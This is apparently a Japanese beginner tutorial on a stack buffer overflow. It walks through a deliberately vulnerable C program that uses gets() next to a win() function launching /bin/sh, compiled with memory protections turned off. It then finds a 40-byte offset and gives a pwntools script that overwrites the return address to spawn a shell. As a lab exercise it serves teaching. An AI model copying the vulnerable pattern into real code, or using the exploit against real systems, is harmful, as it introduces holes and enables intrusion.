バッファオーバーフローテスト ー 1

これが一番簡単なプログラムですが、コーディングが全然しない人に対する、理解が難しいです。

何の意味か、例えば、パソコンメモリーのサイズが4GB、超える場合はシステムがNGになる、なので、エラーが起こる。

一般的なエラーだったら、再起動すればいいです。もし、バッファオーバーフローのバッグは悪い人に利用されたら、危うくになる。

関連知識:
プログラム知識
メモリー分配
GDBディバッグコマンド


まず、下記のようなプログラムを用意します
#include <stdio.h>

void win()
{
  system("/bin/sh");
}


void main()
{
  char buf[20];
  gets(buf);
}

これから、利用のことを説明します。

上記のプログラムをコンパイルします。
    gcc -fno-stack-protector -zexecstack -fno-stack-protector -no-pie -z norelro main.c -o main

チェックして、メモリー保護を閉じました。


gdbでディバッグする

gets は入力のメソッドです。入力の際は私たちが多くのデータを入力してみましょう。

僕が「AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL」を入力しました。

エラーが起こりました。これは重点なことではない、注意してください。

重点なことは、データは短くになりました。無くなったデータはメモリーに振り分けました。

オフセットを計算します。


オフセットは40です。



winのメソッドメモリーアドレスは 0x401132です。

OK、必要なデータ取得しました。次はスクリプトをかきます。
from pwn import *

def main():
    p = process("/home/user/Desktop/pwn/3/main")
    t = p.elf.symbols['win']
    print(hex(t))

    injectAddr = 0x401132

    p1 = ('A'*40).encode() + p64(injectAddr)

    p.send_raw(p1)

    p.interactive()

if __name__ == "__main__":
    main()
    
実行してみましょう


OKでした、成功にWinメソッドを実行しました。

评论